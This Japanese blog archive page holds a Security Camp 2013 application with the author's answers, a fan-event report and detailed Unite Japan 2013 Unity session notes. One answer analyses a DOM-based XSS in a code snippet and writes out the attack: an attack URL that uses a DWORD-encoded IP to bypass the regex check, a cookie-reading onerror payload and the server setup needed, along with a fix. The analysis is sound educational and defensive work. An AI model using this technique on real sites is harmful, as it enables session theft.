イベントメモ に関する投稿を表示しています

セキュリティキャンプ2013(web)に参加します応募用紙のあれ

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

セキュリティキャンプ2013 Webセキュリティクラスに参加することになりました。
講師、チューター、参加者の皆様よろしくお願いします!
 
残念ながら落ちてしまった方々、これを機に勉強したり何か作ったりしてみてはどうでしょう。
ぼくは昨年、「気付いたら応募締め切りが終わっていた組(?)」の参加者で、来年絶対いくわ!といった感じで勉強したりコード書いたり遊んだりしてました。あとは「そこで学んで、その知識をどうするの?」というところだと思います

もしこれを見ている人がチャレンジしたいのであれば、こういった講師のメッセージも参考になるかとおもいます。

・ネットワークセキュリティクラスの審査後講評

・Webセキュリティクラス、ソフトウェアセキュリティクラスの審査後講評

・セキュアなシステムを作ろうクラスの審査後講評

・審査後、全体としての講評

これらをざっくりとまとめると。
・ アツい
・ そのクラスを選んだ理由、そこで学んだことをどうしたいか
・ 最低限、講義や演習についていける技術力がある
・ 問題についてあれこれ調べて、自分なりの答えを出している
・ 実際に試してみる

といった辺りが、大きな基準になっているのだと思います。

あと、セキュリティキャンプに参加することが目標となってしまうのはまちがいだと思います。
そこで身を持って体験できる貴重なもの、セキュリティだけでなく他の参加者からの情報や意識、そういったものをどうアウトプットしていくか、何を成すのか、そこが目標であり、そのためにセキュリティキャンプに参加するんだ、という思いが必要だと思います。

これに対して、意識たけぇw、と煽って終了なのであれば、まあ、そういうことなんでしょう。

 
来年もきっと開催されると思うので、そこに向けて、その先へ向けて、なにか出来ることをやっておくといいと思います。
 
そして、ぼくの応募用紙をここに貼っつけてみます(いいのかな...だめならごめんなさい...
みなさんの参考になれば、もしくはツッコミなどが飛んでくれるといいですね。
 

《~》と囲ったものは実際の応募用紙には記述していない部分です。
諸事情でさっくりとしか公開できないようなものとかですね。
 


 
「セキュリティ・キャンプ中央大会2013」
Web・セキュリティ・クラス 応募用紙
 
☆ 記述式質問
1. このクラスを希望した自分なりの理由を教えてください。
また、この講義で学んだことを何に役立てたいかを教えてください。(選考上もっとも重視します)

 
《めっちゃ要約で、》
《「この貴重な機会に本場の人からたくさん学んで研究や後輩への指導へ生かします」》
《という400文字くらいの内容》

《出身高校に情報の学科があるので、そこで講義とか何かちょっと、やってみたいかなーなどと》
 
 
2. Webに関連したプログラミング歴を教えて下さい。また、今までに作ったWebに
関連したプログラムがあればどのようなものを作ったのかを、あるいは将来どんな
システムを作ろうと思っているのか、差し障りのない範囲で具体的に教えてください。

・Webに関連したプログラミング歴
クライアントサイド(HTML/CSS/JS, etc) : 4~5年
サーバサイド(PHP/Ruby/Node.js, MySQL): 3年

《美大生的なうぇぶさいとつくった》

・UnityとWebSocket(socket.io)の実験
Unityのネットワーク機能ではなく、ブラウザを経由してsocket.ioを使い同期を取ってみるもの。
《闇鍋#2 旧ブログ参照-> http://stersblog.blog15.fc2.com/blog-entry-427.html》

《インターンとかバイトでつくった》

・作りたいもの
《すごそうなあれ》
《卒研で試行錯誤中のあれ》
《いま一番つくってみたいあれ》
 
 
3. クロスサイトスクリプティングあるいはSame Origin Policyについて自分の
言葉で語ってみてください(これらがどのような脆弱性・技術かの解説は不要です)。

説明は不要とのことなので思うことについて。

まずクロスサイトスクリプティングについて思うところは、確認したことのある紹介・解説しているWebサイトの説明文では、それがどれほど危ないのか、という実感がわかないところにあります。よくあるものは「このようなプログラムを書くと、ほら、alertが実行できますね」程度のもので、それによる状況の深刻さというものがまったくわかりません。その結果として、放置してしまったり、なあなあのままWebサイトを運用していたり、といったことがあるのかもしれません。

Same Origin Policyについては、開発している際には厄介になることも稀にあったりしますが、これがあるおかげでWebにおけるそこそこの安全性を担保してるものだと思います。

どちらにも言えることとして、日本語に訳された時に訳しすぎ、もしくは曲解された翻訳になり、いったいどういうことなんだろうか、となった経験があります。その時は頑張って大本の文章を読んだり、いろいろなページを見て結論を出しました。

《それが何なのか、というものは省き、素直に思っていること》
《SameOriginPolicyが短いのはそんなに思っていることがなかったとおもう》
 
 
4.あなたが読み書きできるプログラミング言語の使用歴、おおまかな習熟度と
好きなところ嫌いなところをお書き下さい。(いくつでも可)
例:C言語(中学○年生のころから。調べながら書けるレベル。○○が好き、○○が嫌い)

共通: ドキュメント/リファレンスがほぼ必須レベル。

《構文とか書き方、一部のメソッドやクラスなど覚えてることもありますが、》
《実際に書く時は大体調べながら書いているので "ドキュメント/リファレンスがほぼ必須レベル"》

《いろいろやってきましたが、》
《いまはRubyとJavaScript(TypeScript)が超超超イイ感じ》
 
 
5. もしもタイムマシンに乗って昔のブラウザの仕様を変えられるとしたら、あなたは何を変えたいですか?
例:HTTPは、そのWebアプリケーションを使用している間ブラウザを閉じるまでコネクションが切れないようにしたい。

"ブラウザ仕様"に限って挙げます。

まず真っ先思いつくものはこれです。
https://twitter.com/NStyles/status/94259222748999680

他に変えたいものとしては、細かい部分ですが、ブラウザ毎に異なるデフォルトのスタイル定義や、JavaScript実装などの統一化が欲しいところです。単にリセットCSSやクロスブラウザに対応できるライブラリを使えばいい話ですが、それが仕様として定められ、標準化されていればまた変わった世界になったかと思います。
他にはプラグインをもう少し作りやすい環境が欲しいです。

《ブラウザ仕様かー、うーん・・・で特に思いつかなかった》
 
 
6. 以下のJavaScriptのコード断片は、とあるWebサイトで利用されていた
ものです。これを見て気付いた点について、自由に書いてください。

 1    try{
 2        var url = location.search.substring(1);
 3        // Check target
 4        if( !url.match( /^[\w\/]+$/ ) ){
 5            return;
 6        }
 7        var xhr = new XMLHttpRequest();
 8        xhr.open( "GET", url, true );
 9        xhr.onreadystatechange = function(){
10            if( xhr.readyState == 4 && xhr.status == 200 ){
11                // complete to load. insert news feed to div elm.
12                var div = document.getElementById( "news" );
13                div.innerHTML = xhr.responseText;
14            }
15        }
16        xhr.send( null );
17    }
18    catch( e ){
19        var div = document.getElementById( "news" );
20        div.innerHTML = "<s>cannot load news from server.</s>";
21    }

なんだか見覚え感のあるコード...
2行目、location.searchはURL末尾の?を含めた文字列を返すので、?を取り除く。
4行目、[A-Za-z0-9_\/] で構成されているか確認。
8行目、以上の処理によって得られた文字列に対してGETリクエストを投げる。
9-16行目、Ajaxのテンプレ。
12-13行目、取得したデータをそのまま div#news 内にHTMLとして入れる

つまるところ、DOM Based XSSの脆弱性が存在しています。プロトコルが省略できること、IPアドレスをDWORDで指定してもアクセスできること。これを利用して攻撃ができます。攻撃用データはHTMLとして用意、header("Access-Control-Allow-Origin:*")を付与した適当な公開場に設置することで使うことができます。

accessURL    : http://example.com/news.html?//2130706433/evilcode
//2130706433/: http://127.0.0.1/
evilcode     : <img src=x onerror="alert(document.cookie)">

対策として、4行目の正規表現を /^\w[\w\/]+$/ とすると良いと思います。
先頭にスラッシュを含めないようにすれば、上記の攻撃はできなくなります。

他の脆弱性が存在している可能性も考えると、div.innerHTML = ~~ ではなく、別のものを使用したほうがいいとも思います。

《ドットなしIPアドレスについて https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Dword_encoding 》
《HTTP Header に "Access-Control-Allow-Origin:*" を付けないとクロスドメインでアクセスができない》
《ローカルとVPSを使って実際にalertがでることを確認しました》

《"別のもの": div.appendChild( document.createTextNode(xhr.responseText) ); 》

《もちろんのことながら、それでも対策ができていない別の脆弱性もあると思います》
 
 
7. そのほかアピールしたいこと、書き足りないことがあれば自由に書いてください。

mixi主催 Scrap Challenge for security 2012 #2 でトップのチームでした。
《xssのセキュリティホールがあるmixiに対して攻撃を仕掛けるCTFチックなイベント》
《就職の選考もうっすらと兼ねているようでした?》

/* 
 * 6JC944Gh44Gf5pa544CF77yL5pyJ5b+X44Gn
 * 44K744Kt44Ol44Kt44Oj44Oz44G/44Gf44GE44Gq5L2V44GL44KS44Gn44GN44Gf44KJ44GE44GE44Gn44GZ44Gt44CC
 *
 * 56eB56uL44OX44Ot44Kw44Op44Of44Oz44Kw44Kt44Oj44Oz44OX44Gv
 * 44OX44Ot44Kw44Op44Of44Oz44Kw6KaB57Sg5YWo6ZaL44Gq5rCX44GM44GZ44KL44Gu44Gn44CB44K744Kt44Ol44Oq44OG44Kj6KaB57Sg44KS44O744O744O7
 *
 */

《上記のコメントは実際に送ったものにも含まれます。深い意味はありません。》
《上記コメントを改めて解読()すると、若干文章が異なるような気がしましたが、まあ、意図はあってるのでいいです》
《マジレスすると暗号化したり難読化したりすると読む人が大変なので真似しないでください、辞めましょう。それで選考結果が変わることはないと思います。》

《行くぜセキュリティキャンプ!》

例大祭10にいっていました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

一般参加側で。
開幕A-One×DiGiTAL WiNG×Halozyの合同ブースへ行き先着限定CDゲットしてからふらふらしてました。
14時あたりにもっかい合同ブース見に行ったらまだ列があってすごいですね。

そのうちサークル参加とかできたらいいですねー
そうしたら何を作ろう。東方×技術系の本とか?できたらいいなー
数は多くはないんですけど、そういうタイプのサークルもあってそういう路線もありですね、と思った次第です。

まあ、なにか、かんがえます(やらないパティーン...

参加者の皆さんおつかれさまでした。

Unite Japan 2013のまと

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

量が長すぎるので、この1記事で簡単にまとめます。

Day1

  • ◆ 基調講演
    ゲーム開発はインディーズにもやさしくなってきている。
  • ◆ "Unity for Wii-U"とWii-Uでのゲーム開発
    WiiU向けゲームをUnityで作れます ※ただし法人に限る
  • ◆ Nintendo Web Framework のご紹介
    既存Web技術でWiiU向けゲームを作れます ※ただし法人に限る
  • ◆ シリアライズ徹底解説
    ScriptableObject!ScriptableObject!
  • ◆ Editorスクリプティング入門
    エディタ拡張楽しいですし、ゲーム開発する上で必要になるのでやりましょう
  • ◆ Androidでコンテンツを守る方法 -Unity,Androidでのプログラムとデータの暗号化、およびハッキング対策-
    重要データは自分(開発者)自身で暗号化・難読化を施して守ること。
  • ◆ モバイル向けShuriken活用法
    EmitSharpは使わない!Speedも使わない!現実を見よう!

Day2

  • ◆ Mecanim徹底解説 & 最新機能アップデート
    アニメーションすごいので使いましょう
  • ◆ Unityでのメモリープロファイリング
    OnGUIはダメ、Disposeしろ、オブジェクトプールしろ
  • ◆ 2Dコンテンツのためのワークフロー
    最高に使いやすいツールを使おう。
  • ◆ iPhoneでリアルタイムマルチプレイを実現!
    PhotonCloudは無料枠あるので試しにやってみて。
  • ◆ AssetStoreマニアクス2nd
    高速な開発に必要なスクリプトセットだったり高機能なエディタだったり色々あります
  • ◆ 自動車と飛行機は何が違うのか? ~コンシューマーゲーム開発者から見た Unity~
    ワークフローの違いがあるので、そこを考えずに自社エンジンやらからUnityに移るとしぬ

いやはや、Unite2013参加してよかったです。
Unityにがっつりと触っている人ではないですけど、そんなことできたんだ、そんなテクニックがあるんだ、などなど新しい発見が多くありました。

ここで得た知見はぜひとも MikuMikuDance for Unity での活用や、個人でちらほらやるときに活用したいです。
例えば Mecanim のアニメーションはとても強力ですし、Unity4時代のキャラアニメーションはあれが主力になっているんじゃないですかね。これは必ずMFUに導入したいです。現状がどうなっていたか、ここ最近触っていなかったのでわかりませんが、対応が微妙だったような...
他にもエディタ拡張。現在別ツールになっているIKBakerをUnityに内蔵したり、PMD/VMDのインポータをかっこよくしたり、というのもありですよね。あとFBXファイルなどのように、そのファイルを選択するとInspectorからプレファブにできたりというのもできると良さそうです。

これからUnity触るのが楽しみすぎる!

Unite Japan 2013 Day2の

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

正直なところ、それぞれのセッションのまとめだけ書いておわり~としたいです。
ですが、まあ、なんといいますか、自分用のメモとしてもちゃんと残しておきたいのでちゃんと書いてあります。

◆ Mecanim徹底解説 & 最新機能アップデート

Mecanimとは? => Unity4から搭載された新しいアニメーションシステム(http://docs.unity3d.com/Documentation/Manual/MecanimAnimationSystem.html)
Humanoidであれば腕や足、胴体、頭などがあり、それぞれに該当するオブジェクトを設定することで、Humanoid向けに作られたアニメーションがなんでも使える。
(例えば、テストはわかりやすい様な人型モデルで、本番は着ぐるみだったりヒラヒラしてるようなモデルだったり)
アニメーションのステート制御ができる。などなど、続きは公式で。

このセッションは始めにちょこっとだけ説明があって、あとはデモベースで進んで行きました。

プロジェクトウィンドウでアニメーションを選択すると、プレビューウインドウから動きを確認できます。
そのとき、0.3秒~1秒までの間をほげほげアニメーションとしてインポートというように範囲を選ぶことができます。
インポートはAnimatorウィンドウにドラッグアンドドロップでできます。

デモでは既にアイドル、走るのステートが登録されていました。
ここに"スライディングでフェンスの下をくぐるアクション"を追加をしていきます。

1.走るアニメーション時にキー押下でスライディングフラグを立てる
2.スライディングアニメーション時に特定パラメータがしきい値を超えた時にColliderを無効にする
3.Animatorウィンドウにアニメーションを放り込む
4.スライディングフラグがON(事前に自前のスクリプトで定義していた模様)なら遷移するように設定
5.Inspectorウィンドウからブレンド具合を確認
6.ブレンドに不満があったら自分で調整をする
7.特定のパラメータのカーブをアニメーションに合わせて調整する

という流れです。

Inspectorで確認したときに、足付近にIKピボットが表示されます。
これはUnityが内部で自動で計算し、アニメーションが不自然に見えないように調整してくれています。
しかし、アニメーションによってはそのミスマッチが発生することがあるので、その場合はブレンド具合を調整して直します。

さらに"フェンスに手をついて飛び越えるアクション"を追加していきます。
ターゲットマッチングを使うことで実現ができます

1.先ほどと同様にアニメーションを追加する
2.RayCastを行い、フェンスと一定の距離でのみアニメーションをする
3.その時のRayCastのデータを利用して、フェンスに対しての手とターゲットのマッチングを行う
(animator.MatchTarget(ターゲット位置、ターゲット回転、部位、MatchTargetWeightMask, 開始時間, 終了時間))

これはドアの開け閉めや武器を取り出す時のモーションなど、なんか色々使えそうです。
(武器の場合は後述するIKリグの方がよさそう)

新機能として、2Dブレンドツリーがあります。
これは向きと速度のブレンドをスマートに行うときなどに使えるようです。

そして、アニメーションのレイヤを追加して"ダメージを受けて倒れる"動きをつけていきます。

1.Animatorウィンドウから新規アニメーションレイヤーを作成する
2.Maskオプションに、足、胴体、頭のマスクを設定
2.Syncオプションの有効

Maskオプションは、アニメーションの適用されるオブジェクトを指定します。
Syncオプションは、別のレイヤーとアニメーションの同期をすることができます。
要するに別レイヤーのステートマシンをまるまるコピーされてくるような具合です。
これら2つを組み合わせることで、走りながら倒れていく、というような表現が簡単にできるようです。

最後にIKリグを使った武器の装備を行います。

1.武器をプレイヤーオブジェクト内に内包する
2.アニメーションレイヤーを増やして、IKpassをONに
3.AnimatorIKメソッドを定義して、そのなかでIKのポジションを設定する

なお、このデモで使用したファイル一式はアセットストアよりDLできるようです。
が!どれだか分らなかったので、それっぽそうな公式ファイルを列挙しました。
http://u3d.as/content/unity-technologies/mecanim-locomotion-starter-kit/4jU
http://u3d.as/content/unity-technologies/mecanim-example-scenes/3Bs

◆ Unityでのメモリープロファイリング

Pro限定の機能ですが、UnityにはCPU時間やメモリ使用を確認できるツールが付属しています。
これを正しく使うことで、どんなオブジェクトまたはどんな処理に対してCPUやメモリが割かれているのか、
また、メモリリークなども分かり、どこがネックなのかというのがすぐにわかります。

この講演では、タイトルにあるようにメモリの使い方について焦点があてられていました。

まず、マネージドとネイティブがあります。
マネージド:Mono、GCあり、アセットやゲームオブジェクト、スクリプトなど
ネイティブ:Unity、GCなし、メッシュだとかエンジンの中身にかかってくるあたり。

マネージドはヒープ領域が使われ、いっぱいになるまでもぐもぐしていきます。
いっぱいになった所でGCが走り、解放されていきます。
その際、フラグメントなどが発生し、その後のパフォーマンスに影響を及ぼす可能性があります。
そのためプロファイル機能で確認できる"メモリアクティビティ"を低く保つことが重要だと言っていました。

では、メモリアクティビティを低く保つにはどうするか。
・メソッド内で大きな領域を使う一次変数をクラス変数にする
・クラスではなく構造体を使う
・弾丸などたくさん使うものはオブジェクトを生成し、非アクティブを活用し使いまわす => オブジェクトプール
・"OnGUI"は定義すら許されない
・IDisposableが付いたものは自主的にDisposeメソッドを呼び出す
・参照が残るようなことがないようにする => メモリリークに繋がる
・Resources.UnloadUnusedAssets()を使用する

例えば、WWWクラスを例にあげると、これは確実にDisposeを呼ぶ必要があります。
何故ならば、マネージド部分はシンプルですが、内部のネイティブ部分ではあれこれとしているので、インスタンスを作るとググっとメモリアクティビティが増えます。
Disposeを呼ばずに、nullを代入や放っておくのもよいですが、いつ解放されるかわかりません。

AssetBundleで考えてみます。
WWWから読み込み -> AssetBundle(非圧縮/圧縮,ファイル/データ) -> GameObject化
これをプロファイラで確認すると、
WWWインスタンス、AssetBundleインスタンス、内部のWebStreamインスタンス、テクスチャ等データ
という4つのものが発生します。

そのためAssetBundle.Unload(false)およびWWW.Disposeを確実に呼び出す必要があります。
また、テクスチャ等のデータが不要になった際には、UnloadUnusedAssets()を用いて排除する必要があります。

以降は質疑応答で出たものですが、

・モバイルでのメモリープロファイリング
Unityエディタではモバイル端末実機におけるメモリの状態を知ることができない。
Unity側ではさっくりとプロファイリングし調整、実機を使ってより詳細なプロファイリングを行なう必要があります。

・アセットストアにある"AsttroDude"
オブジェクトプールを上手くつかっているので、ぜひ見てください
=> http://u3d.as/content/unity-technologies/astro-dude/24Y

・使っていないスクリプトがメモリに影響するか
スクリプトに限らず、アセットで不要なものは除くのがオススメ。
もしかしたらUnity側にバグがあるかもしれないので、再現性や情報があればバグレポートを出してください。

・なぜ"OnGUI"がダメか
OnGUIが定義されているだけで、GUI関連の様々なクラスがロードされてメモリもぐもぐしてしまう。
それも毎フレーム実行されてしまうので、メモリだけでなくCPUももぐもぐされます。
仮に空っぽのOnGUIでも、ifで処理をしないようにしたOnGUIでもダメです。
どうしてもOnGUIが必要な場合はプリプロセッサを上手く使って有効/無効を切り替えてください。

◆ 2Dコンテンツのためのワークフロー

・2Dアートツールとして、あなたにとって最高に使いやすいツールを使ってください
・メタデータを上手く使用し、Unity側であれこれ度々追記することが少なくなるようにするといいでしょう
・2Dのためにぜひともエディタスクリプティングをしてみてください。

ということでした。
えっと、お昼直後で眠たかった、というわけではなく、最前列近辺だったので首がいたかったのです(白目

◆ iPhoneでリアルタイムマルチプレイを実現!

マルチプレイには「リアルタイム」と「非同期」の2種類があります。
「非同期」
ソシャゲや将棋など、リアルタイム性の少ないもの。
Web技術の応用でできるので、オープンソースのライブラリなども多く扱いやすい。
コストは少なめ。

「リアルタイム」
FPSや格闘ゲーム、今ここでオンラインの人がいるんだ!というもの。
TCP/UDPの様に低レイヤの話であったりNAT貫通とかとか小難しい話が出てくる。
遅延が許されない(=> クソゲー化、波動拳が入力後1秒で出て勝てるか)
オープンソースは少なく、費用がかかってしまいがち。

Unity標準のNetwork機能は

  • ・クライアントがホストになる必要がある ≠Dedicatedサーバー
  • ・便利な機能がたくさんあり、未経験でもデモはすぐに出来た

という特徴があるようです。
(一度あれこれ調べたはずなのですが、すっかり忘れてしまってました...)

モバイル端末がホストになることは帯域や安定性からして非常に難しいようです。
そこでゲームサーバを外部に用意して行う方法が求められ、条件に合うのがPhotonだったようです。

PhotonはUnityとほぼ同じNetwork郡の命令を持っており、また料金もさほど高くないとのこと。
Photonの構成はこうなっているようです。

  • Windowsサーバ:.NET -> C/C++コア -> ReliableUDP/TCP
  • クライアント:PhotonSDKライブラリ

ライセンス形態はこうなっています。
PhotonCloud:同時接続人数や転送速度に応じて金額が変わる。サーバの用意が不要。無料枠あり。
PhotonServer:サーバ用のプログラムの販売。Windowsサーバが必要。
サーバ側のプログラムをちょっといじりたい、という場合にはPhotonServerでないと出来ないとのこと。
ただし、Windowsサーバが必要ということに加え、情報がそんなに多くなく英語ばかりということなので、構築は"イバラの道"

Photonクライアントを利用して同期を取るには、"StateSync"と"RPC"の2つが用意されています。
"StateSync"はそのとおり同期してくれ、"RPC"はメソッド呼び出しの同期が取れます。

PhotonNetwork.offlinemode = true;
とすることで、オフライン状態への以降も特に障害なく行なってくれるようです。

手間を考えると常に複数端末でオンラインでテストをするわけにもいかないので、Unityエディタの拡張を上手く使って、オフラインからテストできる仕組みを用意するとよさそうです。
また、Macがメインの会社なのでMac版Unityならでは?の複数起動の裏ワザも使っていたとのこと。

◆ Unity Hacks

そういう使い方があったか!とか、データの使い回しやあまり知られてなさそうな事など、生産性を挙げるアイデアの生まれる種になれば。
というような趣旨の講演でした。

・AnimationCurve
入力の向きに応じた速度変化やカメラの移動量など、"2D的に変化のあるデータ"を表現するのに使えます。
アニメーション用途以外にも活用できるので、いまの開発現場に活かせる箇所があるかもしれません。
また、ビジュアル的に見えるので、キーフレームを打ちつつデータを取る、といったデバッグ用途でも使えます。

・データの使い回し
例えばステルスゲーム、ライトの当たらない暗闇に入るとキャラが影にかかって薄くなる、みたいなものですね。
その場合は LightmapSettings.lightProbes.GetInterpolatedLightProbe(とrender.transform.positionなど)を使うとライティング情報が取得できるようです。
つまり、ライトが気に食わなかったら移動してベイクして、それだけでスクリプトの編集は不要になります。

・ReflectedState
enumとAction、Dictionaryを使ってステートマシンを作る、というテクニックです。
enumは列挙型、Actionは.NET frameworkにあるメソッド参照、デリゲートです。Dictionaryはkey-valueペアが作れるリストです。

enumで定義して、StartメソッドでDictionaryに放り込む。
呼び出したいところでUtillity.Get~~~(メモ書きがここで途切れている)

でこうなんかうまいことつくるとちょっと便利になる、ということだそうです。

・WebPlayer
これは過去に闇鍋プログラミング勉強会#2で話してきたのでめっちゃ理解してます(多分)
-> http://stersblog.blog15.fc2.com/blog-entry-427.html スライドの37-45あたり。

Unity → WebBrowser
Application.ExternalCall(func_name, data)
Application.ExternalEval(js_string)

WebBrowser -> Unity
Unityオブジェクトに対して SendMessage(game_object_name, func_name, data)

・Rapid Game Devlopment
ゲーム開発の高速化、みたいな話かな?
昨年のUnite2012で話していた内容なので録画した動画をみてくれ、とのこと。
-> http://angryant.com/videos/

・Importer/Exporter
プログラマーとデザイナー、企画管理などいろんな人がゲーム開発に参加して、それぞれで共有しておきたいデータがあるはず。
例えばプロジェクトファイルそのものだったり、テクスチャ・モデルなどのアセット、オブジェクトの設定などを共有する必要がある。
そこで、インポータ・エクスポータの拡張などをしたほうがよい場合がある。

ScriptableObjectを継承してシリアライズ~なんてのをうまく使えばできるはず。

・ワークフローの自動化
なぜ? -> 生産性の向上

例えば、Androidのネイティブコードを追加したい。
でもJavaコードの編集して、コンパイルして、Unityに追加して、バグがあれば編集して、コンパイルして、Unityに~~~と毎回繰り返すのはつらい。
そこで、javaコードをUnityでコンパイルできるようにしてしまおう、というもの。
コンパイルできればADKだって不要だし、煩わしいコマンドを叩く必要もないし、なによりUnityに統合できるのがつよい。
(コンパイルだったかEvalだったか少し怪しいですが...)

やり方としては、CodeProviderとか?Microsoft.JScriptとか使うんですかね(よくわからなかった..

・マニフェストファイル
アップデート(?)の時に厄介なことになるらしい。
なのでアセットとして放り込んでおきたいよな、ということ。
バンドルしてプレファブを生成するとで可能になるらしい

・プレファブバンドル
データをシリアライズすることで可能になる。ScriptableObjectの有効利用とのこと。
これをすると、独自のエディタ拡張で設定した値やら何やら、はたまたGameObjectのプロパティなんかをプレファブとしてどんどん保存できる。
ただ、もちろんのことだけども、ゲーム中に読み込むならそれを読むプログラムを書く必要がある。
・・・でもシリアライズの逆をするだけなのでそんなに難しいこともない...?

・スクリプトバンドル
外部のエディタであれこれ書いてビルドし、~~.dllに相当するものを生成。
これをUnityスクリプトからAssembly.Loadなんかを使うといい感じに使える。
Day1の暗号化の話でも触れていたはず。

このように色々なTipsがある。
これらを利用して、みなさんのゲーム開発現場に置いてなにか改善できるひらめきが生まれるといいでしょう。

今年は昨年の講演に比べて、より実践的なことを話しました。
ではでは、みなさんはどのようにして生産性をあげていきますか?

◆ AssetStoreマニアクス2nd

・iOS/Android Etcetera Plugin
モバイル端末を扱う基本的なスクリプト集
わかっている人なら不要では?

・CutScene Creator - uSequencer
高機能なカットシーンエディタ
つまりはオブジェクトアニメーションをシーン全体でやるようなもの?

・Play Maker
ステート制御により、スクリプト不要でゲームが作れる。
状態遷移やパラメータ変更などができる。
SendMessageを利用することでスクリプトと連絡が取れるが、やりすぎると複雑化してダメ

・Rage Spline
スプライン曲線が書けるやつ。
横スクロール型2Dゲームでの曲線なマップを視覚的につくることができる。

・Smooth Moves
2Dスプライトのボーンアニメーションを簡単にできるやつ。
1枚の画像から切り出したり、タイムラインがあったり高機能。

・Pool Manager4
プレファブの事前生成やプリロードの仕組みを提供する。
「メモリープロファイリング」の時に聞いた話を簡単に実装できる。

・FxMaker
エフェクトツール。
ゲームビューでコントロールできるという(いい意味で)わけの分からないプラグイン
エフェクトを作ったりプリセットを利用したり、コピペできたりなんかもうすごい。

・結論
エディタ拡張すごい。ここまで出来るのか、というのを教えてくれる。
なかなか有料アセットに手を出しづらい(がっつりゲーム開発してるわけでもない)ので、実際に動かして紹介してくれるというのはありがたい。

◆ 自動車と飛行機は何が違うのか? ~コンシューマーゲーム開発者から見た Unity~

>コンシューマ
変更が度々起こると、コストがすごいので仕様・仕組みをがっちり固める。
ゴールに対して直線的に、最短距離で進んでいくので早い気がする

>Unity
変更・調整を少人数・低労力で行うことができるので、低コストで繰り返せる。
最初はぶれぶれかもしれないが、完成に近づくにつれでどんどん固まっていく。
"道具を正しく使い": 1つずつ進めてゴールへ向かっていく
"より早く目に見える形で": 納得が行くまで試行、イメージの統一。
これがUnityではできる。

つまりはワークフローの違い。
CEDEC2011で、自動車と飛行機の違いという講演があり、まさしくここで感じたことと同じだった。

Unityは、そのシステムがイテレーションを意識しているので、開発手順だったりアプリだったりも合わせないといけない。
>パラメータをエディタから読み込む
>Unityで編集できないのでUnity外で管理はしない
>オブジェクト間の依存性を減らす
>コンポーネントベースなのでスクリプトを細分化する
などなど、Unityを邪魔しない設計が重要。

このようにUnityはラピッドプロトタイピングに力強さがある。
けど、それだけ、という理由でUnityを使うのであれば、元々の自社エンジンだったり、他のツールでもいいのでは。

Unityを選ぶなら他の強みを活かす。
>マルチプラットフォーム
>すべてを変えられるエディタ拡張
>意識せずともリッチなグラフィック


◆Unity for WiiUとNintendoWebFrameworkについて

あと、Day1に聞きそびれた任天堂のやつ関連で質問してきました。

法人向けしかないようで、個人で使えないのはなぜか。

任天堂は今までのノウハウを生かして、ビジネスとしてこういったツールを出している。
個人相手ではどのようにビジネスを展開するか、ということがまだ考えられていないため、個人向けにはまだ出せない。他にも、任天堂としてはWiiUでアプリ・ゲームを出して欲しい。そうなると必然的に販売ルートを確保できるような相手じゃないと難しい。
たとえばGooglePlayのようなアプリを配布するプラットフォームの準備が出来れば個人開発者の可能性も大きく高まる。
任天堂としてWiiUでアプリ・ゲームを出して欲しいので、法人向けと書いてあるがその法人の規模は特に問わない。
どうしてもツールを触ってみたい、WiiUでゲームを出したい、というのであれば起業するのも1つの手。
非公開のAPIを叩いたりアヤシイ事をするのは、そもそも開発者登録を済ませる必要があるのでやってもらってもかまわない。ただ、その部分の仕様が変わったりする可能性があるのでオススメはできない。

ちょっと抜けていたり足りなかったりするかもしれませんが、大体このような感じだったと思います。
WebFrameworkのほうはちょっと触ってみたかっただけあって残念。。
Unity for WiiUのほうは、UnityPro相当の機能が無料で全部つかえるっぽいです。

Day2の話を書きたかったという

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

なんだかうまいことまとまらないので出直してきます。

Day1であった任天堂製品(ref. https://gomiba.co.in/blog/?p=37 )についての質問をしてきたので、それについても書きます・・・・
( ˘ω˘ ) スヤァ...

Unite Japan 2013 Day1の

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

と!いうわけで、Unite Japan 2013 Day1へと行って来ました。
だって学生の早割が3kというので、これは行かなきゃと…

(Uniteってなんぞやという方 -> http://japan.unity3d.com/unite/ )

そこで聞いてきた、メモしてきた話を思い出しつつ補完しつつ書きました。
英語での講演もあったので若干解釈がことなる部分があるかもしれませんが、
そこは後日公開される資料であったり、他の方のブログ記事やメディア記事などを参照していただければと思います。

"書いちゃまずい系のもの"はとくに無かったかと思います。
もしあったのであれば申し訳ありません。すぐに消します。

◆ 基調講演
GDCに出てきているゲームの層にインディーズ系が増えてきていること。
5年前は難しかった無名少人数チームで壮大なゲームを作るのが今では可能なこと。
Unityはそれを実現するツールとして優秀なこと。

REPUBLIQUEおもしろそう!楽しみにしています!!

République

 

◆ "Unity for Wii-U"とWii-Uでのゲーム開発

今普及しているUnityとは別物にとして、"Unity for Wii-U"として別途用意されるようです(auのSkypeみたいなアレ)
SDKの都合からか、OSはWindows専用だそうです。
また、リリーススケジュールとしては、通常のUnityと同期して行い、例外的に追加機能が先に入ったり、ということもあるようです。

Wii-U向けのビルドは至って簡単で、ビルドセッティングのウィンドウからWii-Uを選択するだけ。
Windows/iOS/Androidとか書いてあるあの枠にWii-Uの項目が追加されます。

ビルドが完了すると、転送用のバッチファイルとROMデータが生成されるようです。
そのバッチファイルを起動すれば、何かしらの方法で接続している開発用の実機に転送され、実機テストができるとのこと。

Wii-Uといえば、ディスプレイのついたゲームパッドですが、そちらへの対応も簡単にできるようです。
その方法は、カメラを追加して、追加された項目である出力ターゲットをゲームパッドにするだけ。
実際にデモとしてAngryBots(Unityについてくるサンプルプロジェクト)にカメラを1つ追加して、ゲームパッドに3人称視点を出す、ということをやっていました。

Wii-Uの機能として用意されている、フレンド/アカウント/ストアなどへのアクセスは、C/C++のネイティブプラグインを導入することにより可能になるとのこと。

そして、開発者登録をすればUnityのProライセンスが無くとも、無償で全ての機能が利用できるということでした。

ただし!
残念なことに、日本からは個人での開発者登録はできないとのこと。。

 

◆ Nintendo Web Framework のご紹介

Webkitベースに作られた、Wii-U向けアプリケーションを最近流行りのHTML5で作れるフレームワークだそうです。
イメージ的には、PhoneGapとかTitaniumとか、それのWii-U版といったところでしょうか。

フレームワークの方でJavaScriptが拡張されており、Wii-U向けの各種命令郡が使用できるようです。
例えば、ゲームパッドとTVと違う画面を出力したり、ゲームパッドの傾きや振動を取得したり、フレンドやアカウント機能を使用したり....

